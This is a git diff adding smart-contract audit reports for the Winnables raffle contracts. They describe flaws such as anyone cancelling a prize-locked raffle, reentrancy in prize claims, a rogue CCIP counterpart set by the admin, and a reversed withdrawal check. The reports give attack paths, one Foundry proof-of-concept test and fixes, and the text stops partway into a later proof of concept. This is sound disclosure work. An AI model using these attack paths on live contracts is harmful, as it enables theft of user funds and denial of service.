+@> chainSelector, +@> abi.encodePacked( +@> uint8(CCIPMessageType.WINNER_DRAWN), +@> raffleId, +@> winner +@> ) + ); + + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } + + function _getWinnerByRequestId( + uint256 requestId + ) internal view returns (address) { + RequestStatus storage request = _chainlinkRequests[requestId]; +@> uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf( +@> request.raffleId +@> ); +@> uint256 winningTicketNumber = request.randomWord % supply; +@> return +@> IWinnablesTicket(TICKETS_CONTRACT).ownerOf( +@> request.raffleId, +@> winningTicketNumber +@> ); + } + +``` + +### Internal pre-conditions + +- The winner uses a contract-based account with different crosschain addresses, such as a multisig or an account abstraction. + + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +The prize will remain inaccessible and permanently locked within the `prizeManager` contract. + + +### PoC + +_No response_ + +### Mitigation + +A potential solution involves adding a `dstChainAddress` parameter during the minting process in the `WinnableTicket::mint` function. This address would then be returned upon winner selection. +```diff +- function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { ++ function mint(address to, address dstChainAddress ,uint256 id, uint256 amount) external onlyRole(1) { + + if (to == address(0)) { + revert TransferToAddressZero(); + } + address operator = msg.sender; + uint256 startId = _supplies[id]; + + unchecked { + _balances[id][to] += amount; + _supplies[id] = startId + amount; + } + + _ticketOwnership[id][startId] = to; ++ ownerAddressToDstChainAddress[to] = dstChainAddress; // this mapping should be added also! + + emit NewTicket(id, startId, amount); + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount); + } +``` +Adjustments in `_getWinnerByRequestId` to utilize the new mapping: +```diff + function _getWinnerByRequestId( + uint256 requestId + ) internal view returns (address) { + RequestStatus storage request = _chainlinkRequests[requestId]; + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf( + request.raffleId + ); + uint256 winningTicketNumber = request.randomWord % supply; +- return +- IWinnablesTicket(TICKETS_CONTRACT).ownerOf( +- request.raffleId, +- winningTicketNumber +- ); ++ address to = IWinnablesTicket(TICKETS_CONTRACT).ownerOf(request.raffleId,winningTicketNumber); ++ return IWinnablesTicket(TICKETS_CONTRACT).ownerAddressToDstChainAddress(to); + + } +``` \ No newline at end of file diff --git a/001/242.md b/001/242.md new file mode 100644 index 0000000..e32beb7 --- /dev/null +++ b/001/242.md @@ -0,0 +1,68 @@ +Active Coal Lynx + +Medium + +# The `withdrawTokens()` function will not work due to incorrect if check + +### Summary + +The [`WinnablesTicketManager.sol::withdrawTokens()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L292-L297) function will revert due to the implemented [if check](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L295) being wrong. + +### Root Cause + +The [if check](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L295) in the The [`WinnablesTicketManager.sol::withdrawTokens()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L292-L297) function shown below checks if the inputted amount is less than the token balance of the contract. This check will cause the function to revert if the inputted amount is less than the token balance. +```solidity + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` +However, this check is wrong as it should revert when the inputted amount is greater than the token balance of the contract. As any amount would fail except when the `amount = balance`. In order to pass this if check, `amount` needs to be greater than or equal to the `balance`. If the `amount` is greater than the `balance` the `safeTransfer()` call would fail due to the contract not having enough tokens. If the `amount` is equal to the `balance`, this situation creates the possibility of front-running attacks where a user can send 1 wei token to the contract to make this function revert. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +As the function will always revert if the inputted amount is not equal to the balance: +1) Admin calls the `withdrawTokens()` function where the inputted `amount = balance`. (For easier understanding assume amount and balance are 100.) +2) Attacker front-run's this call to send 1 wei token to the contract. +3) Function checks the condition `if (amount < balance) revert InsufficientBalance();` +4) As the amount(100) is less than the balance (101), function will revert. + +### Impact + +It will be impossible for the admin to withdraw tokens from the contract. + +### PoC + +_No response_ + +### Mitigation + +Change the if check in the function as shown below: +```solidity + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount > balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` +An alternative fix can be implemented as shown below: +```solidity + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount > balance){ + amount = balance; } + token.safeTransfer(msg.sender, amount); + } +``` \ No newline at end of file diff --git a/001/243.md b/001/243.md new file mode 100644 index 0000000..136eadc --- /dev/null +++ b/001/243.md @@ -0,0 +1,53 @@ +Tart Clay Hippo + +High + +# WinnablesTicketManager.sol#cancelRaffle - A user can DoS raffle creation + +## Summary +A user can DoS raffle creation by always front-running raffle creation by calling `cancelRaffle` making it impossible for a raffle to be created. +## Vulnerability Detail +An admin first sends reward inside `WinnablesPrizeManager.sol`, the next step is to choose if the raffle will be created with `createRaffle` or canceled with `cancelRaffle`. The admin should decide what to do with the raffle and call the correspond function. + +`cancelRaffle` can also be called for another reason - if the raffle doesn't sell enough tickets to refund users +```js + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +Inside `_checkShouldCancel` function there are a few checks to ensure the raffle can be canceled. +```js + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } + +``` +The users **SHOULD** be able to cancel a raffle **ONLY** if it doesn't sell enough tickets. Only admins should be able to choose if a raffle to be created or canceled. But if we pay more attention to the first if, if it is true, the function will return, and none of the above if checks will be checked allowing anyone to cancel a raffle. +```js + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; +``` +Because of that a user can DoS raffle creation by always front-running raffle creation by calling `cancelRaffle` making it impossible for a raffle to be created. + +## Impact +DoS on raffle creation. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441 + +## Tool used + +Manual Review + +## Recommendation +If the raffle status is PRIZE_LOCKED, add a check to ensure that the admin calls the function and then return, if not the admin - revert. \ No newline at end of file diff --git a/001/244.md b/001/244.md new file mode 100644 index 0000000..73f1643 --- /dev/null +++ b/001/244.md @@ -0,0 +1,46 @@ +Brief Champagne Tuna + +High + +# Incorrect check in `WinnablesTicketManager::withdrawTokens()` prevents partial withdrawals of tokens + +## Summary + +The `withdrawTokens` function in `WinnablesTicketManager.sol` contains an incorrect balance check that restricts withdrawals to only the entire token balance, rather than allowing partial withdrawals. The function reverts when `amount` is less than the `balance`, preventing any partial withdrawals. While this might seems appropriate for withdrawing all of the accidentally sent tokens, the logic blocks the partial withdrawal of LINK tokens, which the contract is expected to hold. +The sponsor clarified the intended behavior with the following comment:: *The function should also allow us to withdraw some of the LINK that the contract holds (the contract is expected to hold LINK tokens in order to pay for CCIP messaging)* + +## Vulnerability Detail + +The root cause of the issue lies in the condition check at [line 295](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L295), which incorrectly reverts the transaction with `InsufficientBalance()` if the amount to withdraw is less than the contract's token balance. The following example demonstrates the issue with partial withdrawals: +1. The contract holds 1000 LINK tokens. +2. The admin attempts to withdraw 50 LINK tokens by calling `withdrawTokens` with `amount = 50e18` +3. The function reverts due to the incorrect check: +```solidity +if (amount < balance) revert InsufficientBalance(); +``` +## Impact + +The issue prevents partial withdrawals, restricting token withdrawals to only the full balance. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L292-#L297 + +## Tool used + +Manual Review + +## Recommendation + +Update the condition check to: +```diff + /// @notice (Admin) Withdraw Link or any ERC20 tokens accidentally sent here + /// @param tokenAddress Address of the token contract + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +- if (amount < balance) revert InsufficientBalance(); ++ if (amount > balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` \ No newline at end of file diff --git a/001/251.md b/001/251.md new file mode 100644 index 0000000..bbbd208 --- /dev/null +++ b/001/251.md @@ -0,0 +1,41 @@ +Dizzy Quartz Vulture + +High + +# Protocol Eth can be drained via reentrancy + +## Summary +claimPrize function sends Eth to winners before updating rafflePrizeStatus state thereby exposing the protocol to reentrancy attack + + +## Vulnerability Detail +After raffle is completed , winner are expected to claim thier prizes + +In the claimPrize implementation, winnings are sent to users before the rafflePrize.status is being updated. + +This exposes the function to reentrancy if the winning prize are in Eth allowing malicious smart contract callback into the protocol multiple times and drain the entire protocol Eth. + + +Scenerio + +After raffle has ended . + +1. Malicious winner which is a smart contract calls the claimPrize, setting the contract to callback into the claimPrize or refund function after he receives Eth + +2. Calls claimPrize, drains the Eth in the contract via reentrancy + + +## Impact +Protocol Eth can be drained completely + + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 + +## Tool used + +Manual Review + +## Recommendation + +Add a reentrancy guard and ensure to follow the cei pattern during function implemention diff --git a/001/254.md b/001/254.md new file mode 100644 index 0000000..ddb453b --- /dev/null +++ b/001/254.md @@ -0,0 +1,62 @@ +Blunt Smoke Crane + +High + +# Admin can set the winner of the raffle to an address of his choosing + +### Summary + +In the ``WinnablesPrizeManager.sol`` contract, an admin has to first lock some prize via the [lockNFT()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L148-L165), [lockETH()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L172-L188), or [lockTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L196-L213) functions, then a CCIP message will be sent to the ``WinnablesTicketManager.sol`` contract, and the admin can then fully set the raffle via the [createRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252-L274) function. Once all the contracts are deployed the admin has to set the correct **contractAddress** and **chainSelector** via the [setCCIPCounterpart()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134-L140) function, so the ``WinnablesPrizeManager.sol`` contract [_ccipReceive()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278) function can't be called by anyone, but only from an approved address on a specific chain. In the readme of the contest it is specifically said that the admin is not fully trusted: *Winnables admins cannot do anything to prevent a winner from withdrawing their prize* & *However it is not expected that the admin can steal funds that should have ended in a raffle participant’s wallet in any conceivable way*. However these core protocol invariants can be easily broken by a malicious admin. As can be seen from the code snippet below an admin can approve multiple contract on different chains to call the [_ccipReceive()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278) function via the [setCCIPCounterpart()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134-L140) function: +```solidity + function setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) external onlyRole(0) { + _setCCIPCounterpart(contractAddress, chainSelector, enabled); + } +``` +A malicious admin can utilize this to set up a contract which sends a message to the ``WinnablesPrizeManager.sol`` contract [_ccipReceive()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278) function and sets a winner for a specific raffle. Thus the admin can steal the promised rewards for the actual winner of the raffle, and the winner will get absolutely nothing in return, however the admin can still withdraw the accumulated tokens from the ticket sales from the ``WinnablesTicketManager.sol`` contract. The admin can also utilize a malicious contract to call the [WinnablesPrizeManager.sol::_ccipReceive()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278) function, and cancel a raffle, thus freeing the funds he locked when he created the raffle. If for example he locked **1e18 ETH** as a prize for raffle 1, and approves a malicious contract to call [WinnablesPrizeManager.sol::_ccipReceive()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278), then he uses the malicious contract to call the [WinnablesPrizeManager.sol::_ccipReceive()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278) and cancels raffle 1, the admin can withdraw **1e18 ETH** from the contract. When a winner is drawn and set and tries to call the [claimPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124) function and claim his prize, he won't be able to as there won't be any ETH in the contract. +### Root Cause + +A malicious admin can approve multiple contracts to call the [_ccipReceive()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278) function via the [setCCIPCounterpart()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134-L140) function . + +### Internal pre-conditions + +1. Admin creates a raffle +2. Users start buying tickets via the [buyTickets()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210) function, but a winner is not yet drawn + + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Admin creates a raffle with ID 1 +2. Admin approves a contract he controls to successfully send messages to the ``WinnablesPrizeManager.sol`` contract [_ccipReceive()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278) function +3. As users are buying tickets for raffle with ID 1, the malicious admin can utilize the contract he approved in step 2 to send a CCIP message to ``WinnablesPrizeManager.sol`` contract [_ccipReceive()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278) function, which sets the address of the winner for the raffle with ID 1 to an address that the attacker controls. lets call it **address A**. +4. Now **address A** can call the [claimPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124) function and claim the prize that the admin initially locked. +```solidity + function claimPrize(uint256 raffleId) external { + ... + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + ... + } +``` +As can be seen from the code snippet below the [claimPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124) function sets the **rafflePrize.status** to **CLAIMED**, so this function will always revert when called again. +5. When there have been enough users, and a winner can be drawn for the raffle with ID 1, the attacker or the unsuspecting users can call the [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function, so the AVAX that was accumulated from the tickets that the users bought can be freely withdrawn by the admin via the [withdrawETH()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300-L306). As mentioned in step 4, when the newly set winner for the raffle with ID 1, tries to call the [claimPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124) function in order to claim his prize, the function will revert. + +### Impact + +A malicious admin can set the winner of a certain raffle, and in this way deny the winner of the raffle from withdrawing his prize. Or cancel the raffle only in ``WinnablesPrizeManager.sol``, and withdraw the funds he locked when he initially created the raffle. At the same time he can also withdraw the proceeds from the sold tickets in the ``WinnablesTicketManager.sol`` contract. Thus breaking a couple of protocol invariants and effectively stealing money from the users, thus the high severity. + +### PoC + +_No response_ + +### Mitigation + +Allow the admin to call the [setCCIPCounterpart()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134-L140) function only once, and set the correct parameters. \ No newline at end of file diff --git a/001/255.md b/001/255.md new file mode 100644 index 0000000..6adf8ae --- /dev/null +++ b/001/255.md @@ -0,0 +1,31 @@ +Ripe Emerald Dragon + +Medium + +# Lack of support on custodial wallets or smart contract wallet + +## Summary +Custodial wallet or smart contract wallet has different addresses in ethereum and avalanche network. +The protocol uses ethereum and avalanche network and transfers winner's address from avalanche to ethereum network. +Therefore, the winners who uses such wallets which have different addresses in ethereum and avalanche network can't claim prize. + +## Vulnerability Detail +The winner of a raffle is determined by `WinnablesTicketManager` in avalanche network. +The winner's address will be transferred to the `WinnablesPrizeManager` in ethereum network through CCIP. +The winner should claim prize in ethereum network. +If the winner uses a wallet such as custodial wallet or smart contract wallet, the winner's wallet address may be different in ethereum and avalanche network. +Therefore, the winner can't claim his prize from `WinnablesPrizeManager` contract because `WinnablesPrizeManager` will compare `msg.sender` with different address which was transferred from `WinnablesTicketManager` in avalanche network. + +## Impact +The winner who uses wallet which have different addresses in ethereum and avalanche network such as custodial wallet or smart contract wallet can't claim his prize after raffle finishes. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L344 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 + +## Tool used + +Manual Review + +## Recommendation +Add supports on wallets which have different addresses in ethereum and avalanche network such as custodial wallet or smart contract wallet. \ No newline at end of file diff --git a/001/256.md b/001/256.md new file mode 100644 index 0000000..4097453 --- /dev/null +++ b/001/256.md @@ -0,0 +1,248 @@ +Zesty Tiger Robin + +Medium + +# When the number of tickers sold = raffle.minTicketsThreshold, a raffle can still be cancelled. + +### Summary + +When the number of tickers sold = raffle.minTicketsThreshold, a raffle can still be cancelled. As a matter of fact, in this case, there is a race condition: the raffle can be both cancelled or be ready to pick a winner - both shouldCancel and shouldDraw are true. + +### Root Cause + +The edge case of the number of tickers sold = raffle.minTicketsThreshold is not dealt with well. + +The following line L440 has the problem that allows to cancel a raffle that has sold exactly raffle.minTicketsThreshold tickets. Meanwhile, when in this case, shouldDraw is also true. + +[https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L440C22-L440C48](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L440C22-L440C48) + + +### Internal pre-conditions + +none + +### External pre-conditions + +none + +### Attack Path + +Purchase raffle.minTicketsThreshold of tickets. + +### Impact + +Even when the minimum requirement is met, the raffle is still cancellable. This is not consistent with the spec. + +### PoC + +See the following POC: +1) we have raffle.minTicketsThreshold = 10. +2) Bob purchased 2 tckets and Alice purchased 8 tickets. +3) The raffle has both shouldDraw and shouldCancel being true. + +```javascript +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Test, console} from "forge-std/Test.sol"; +import {console2} from "forge-std/console2.sol"; +import {WinnablesTicket} from "../contracts/WinnablesTicket.sol"; +import {WinnablesPrizeManager} from "../contracts/WinnablesPrizeManager.sol"; +import {WinnablesTicketManager} from "../contracts/WinnablesTicketManager.sol"; +import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; + +import "../contracts/interfaces/IWinnables.sol"; + +contract RaffleTest is Test { + WinnablesTicket winnablesTicket; + WinnablesPrizeManager winnablesPrizeManager; + WinnablesTicketManager winnablesTicketManager; + + uint256 userPk = 0x12341234; + address John = vm.addr(userPk); // john has role 1 + address Bob = makeAddr("Bob"); + address Alice = makeAddr("Alice"); + + + + address _linkToken = 0x514910771AF9Ca656af840dff83E8264EcF986CA; + address _usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; + address _vrfCoordinator = 0x271682DEB8C4E0901D1a1550aD2e64D568E69909; + uint64 _subscriptionId = 8403; + bytes32 _keyHash = 0x8af398995b04c28e9951adb9721ef74c74f93e6a478f39e7e0777be13527e7ef; + address _ccipRouter = 0x80226fc0Ee2b096224EeAc085Bb9a8cba1146f7D; + uint256 chainSelector = 5009297550715157269; + + function signMsgHash(bytes32 MsgHash, uint256 userPk) internal view returns (uint8 v, bytes32 r, bytes32 s) + { + // uint256 userPk = 0x12341234; + // address user = vm.addr(userPk); + + return vm.sign(userPk, MsgHash); + } + + function setUp() public { + + + (uint8 v, bytes32 r, bytes32 s) = vm.sign(userPk, bytes32("thank you")); + console2.log("v: ", v); + console2.logBytes32(r); + console2.logBytes32(s); + + + + vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20561507); + + + winnablesTicket = new WinnablesTicket(); + winnablesPrizeManager = new WinnablesPrizeManager(_linkToken, _ccipRouter); + winnablesTicketManager = new WinnablesTicketManager(_linkToken, _vrfCoordinator, _subscriptionId, _keyHash, address(winnablesTicket), _ccipRouter); + + console2.log("WinnablesTicket: ", address(winnablesTicket)); + console2.log("winnnablesPrizeManager: ", address(winnablesPrizeManager)); + console2.log("winnablesTicketManager: ", address(winnablesTicketManager)); + + winnablesTicketManager.setRole(John, 1, true); // make this test contract has the pwoer to authorize a purchase + winnablesTicket.setRole(address(winnablesTicketManager), 1, true); + console2.log("John: ", John); + console2.log("address(this):", address(this)); + + console2.log("EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\n"); + + } + + function printRaffle(uint256 raffleId, string memory name) public view{ + ( + uint64 startsAt, + uint64 endsAt, + uint32 minTicketsThreshold, + uint32 maxTicketSupply, + uint32 maxHoldings, + uint256 totalRaised, + IWinnables.RaffleStatus status, + uint256 chainlinkRequestId + ) = winnablesTicketManager.getRaffle(raffleId); + console2.log("=================================================================="); + console2.log(name); + console2.log("raffleId: ", raffleId); + console2.log("startsAt: ", startsAt); + console2.log("endsAt: ", endsAt); + console2.log("minTicketsThreashold: ", minTicketsThreshold); + console2.log("maxTicketSupply: ", maxTicketSupply); + console2.log("maxHoldings: ", maxHoldings); + console2.log("totalTicketSold: ", winnablesTicket.supplyOf(raffleId)); + console2.log("totalRaised: ", totalRaised); + console2.log("status: ", uint256(status)); + console2.log("chainlinkRequestId: ", chainlinkRequestId); + console2.log("................................................"); + bool shouldDraw = false; + try winnablesTicketManager.shouldDrawRaffle(raffleId) returns (bool result) { + shouldDraw = result; + } catch { + shouldDraw = false; // Default value or handle error + } + + console2.log("shoulddraw: ", shouldDraw); + bool shouldCancel = false; + try winnablesTicketManager.shouldCancelRaffle(raffleId) returns (bool result) { + shouldCancel = result; + } catch { + shouldCancel = false; // Default value or handle error + } + + console2.log("shouldCancel: ", shouldCancel); + console2.log("=================================================================="); + } + + function printParticipant(uint256 raffleId, address p, string memory comment) public view{ + console2.log("=================================================================="); + console2.log(comment); + (uint128 totalSpent, + uint32 totalPurchased, + bool withdrawn) = winnablesTicketManager.getParticipation(raffleId, p); + console2.log("totalSpent: :", totalSpent); + console2.log("totalPurchased: ", totalPurchased); + console2.log("withdrawn: ", withdrawn); + console2.log("=================================================================="); + } + + function authorizePurchase(uint256 pk, address buyer, uint256 raffleId, uint16 ticketCount, uint256 blockNumber, uint256 value) + public returns (bytes memory signature){ + bytes32 message = + keccak256( + abi.encodePacked( + buyer, winnablesTicketManager.getNonce(buyer), raffleId, ticketCount, blockNumber, value) + ); + + bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", message)); + console2.log("hash1: "); + console2.logBytes32(hash); + (uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, hash); + return abi.encodePacked(r, s, v); + } + + + function testRaffle1() public { + skip( 1 days); + console2.log("blocktimestamp: ", block.timestamp); + + winnablesTicketManager.createRaffle( + 123, + uint64(block.timestamp - 100), + uint64(block.timestamp + 2 days), // expire after two days + 10, + 100, + 8 // buy at most 8 for each buyer + ); + + printRaffle(123, "raffle before buy tickets..."); + + console2.log("block.number", block.number); + // authorize the purchase + bytes memory sig1 = authorizePurchase(userPk, Bob, 123, 2, 30561507, 1 ether); + + vm.startPrank(Bob); + deal(Bob, 100 ether); + winnablesTicketManager.buyTickets{value: 1 ether}(123, 2, 30561507, sig1); + vm.stopPrank(); + + printParticipant(123, Bob, "Bob first buy"); + + printRaffle(123, "raffle after buy tickets..."); + + + // authorize the purchase + bytes memory sig2 = authorizePurchase(userPk, Alice, 123, 8, 30561507, 5 ether); + vm.startPrank(Alice); + deal(Alice, 100 ether); + winnablesTicketManager.buyTickets{value: 5 ether}(123, 8, 30561507, sig2); + vm.stopPrank(); + + printParticipant(123, Alice, "Alice first buy"); + + printRaffle(123, "raffle after Alice buy tickets..."); + + skip(1 weeks); + printRaffle(123, "raffle after 1 weeks..."); + + } + +} + +``` + +### Mitigation + +Change L440 as follows: + +```diff + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId);_ +- if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); ++ if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` diff --git a/001/257.md b/001/257.md new file mode 100644 index 0000000..ecc16ba --- /dev/null +++ b/001/257.md @@ -0,0 +1,35 @@ +Rich Peach Kookaburra + +High + +# When the function refundPlayers is called, _lockedETH is not decreased/updated. + +## Summary + +When the function refundPlayers is called, _lockedETH is not decreased/updated. As a result, when the function withdrawETH is called, this will create underflow. + +## Vulnerability Detail +1. Let’s assume, the current raffleId is 1. + +2. Currently, _lockedETH = 50e18 eth which is gathered for raffleId 1 with the function buyTickets. + +3. raffleId 1 is cancelled. + +4. 50e18 eth are refunded to raffleId 1 participants by calling the function refundPlayers. But the problem is _lockedETH is not decreased after refunding. + +5. Now raffleId 2’s total collected eth = 60e18 and currently _lockedETH = 50e18+60e18 = 110e18(as _lockedETH is not updated for cancelled raffleid 1). + +6. Now WinnablesTicketManager’s address(this).balance = 60e18 and _lockedETH = 110e18.so balance = 60e18-110e18 = -50e18 which creates underflow. + +## Impact + +When the function refundPlayers is called, _lockedETH is not decreased/updated. As a result, when the function withdrawETH is called, this will create underflow. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215 +## Tool used + +Manual Review + +## Recommendation +When the function refundPlayers is called, decreases _lockedETH. \ No newline at end of file diff --git a/001/258.md b/001/258.md new file mode 100644 index 0000000..a789838 --- /dev/null +++ b/001/258.md @@ -0,0 +1,148 @@ +Faithful Smoke Hawk + +High + +# Anyone can cancel a raffle before it is created upon receiving the raffleId message from ethereum + +### Summary + +The wrong return will cause raffle is canceled as attacker call `cancelRaffle` + +### Root Cause + +In `WinnablesTicketManager.sol:436`, there is a wrong return if `raffle.status` is `PRIZE_LOCKED`. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L436 + +### Internal pre-conditions + +1. Role(0) call `lockNFT/lockETH/lockTokens` +2. The CCIP massage has been successfully transmitted to target chain + +### External pre-conditions + +1. Role(0) don't call `createRaffle` + +### Attack Path + +1. Attacker call `cancelRaffle` + +### Impact + +1. The raffle is canceled. +2. Players can't buy tickets. +3. The locked prize is unlocked. + +### PoC + +1. Install dependency: @chainlink/local. +```solidity +npm install @chainlink/local +``` +2. Set .env. +```solidity +ETHEREUM_SEPOLIA_RPC=https://sepolia.gateway.tenderly.co +AVALANCHE_FUJI_RPC=https://avalanche-fuji.blockpi.network/v1/rpc/public +``` +3. Paste code below into test/foundry folder. +```solidity +// SPDX-License-Identifier: UNLICENSED + +pragma solidity 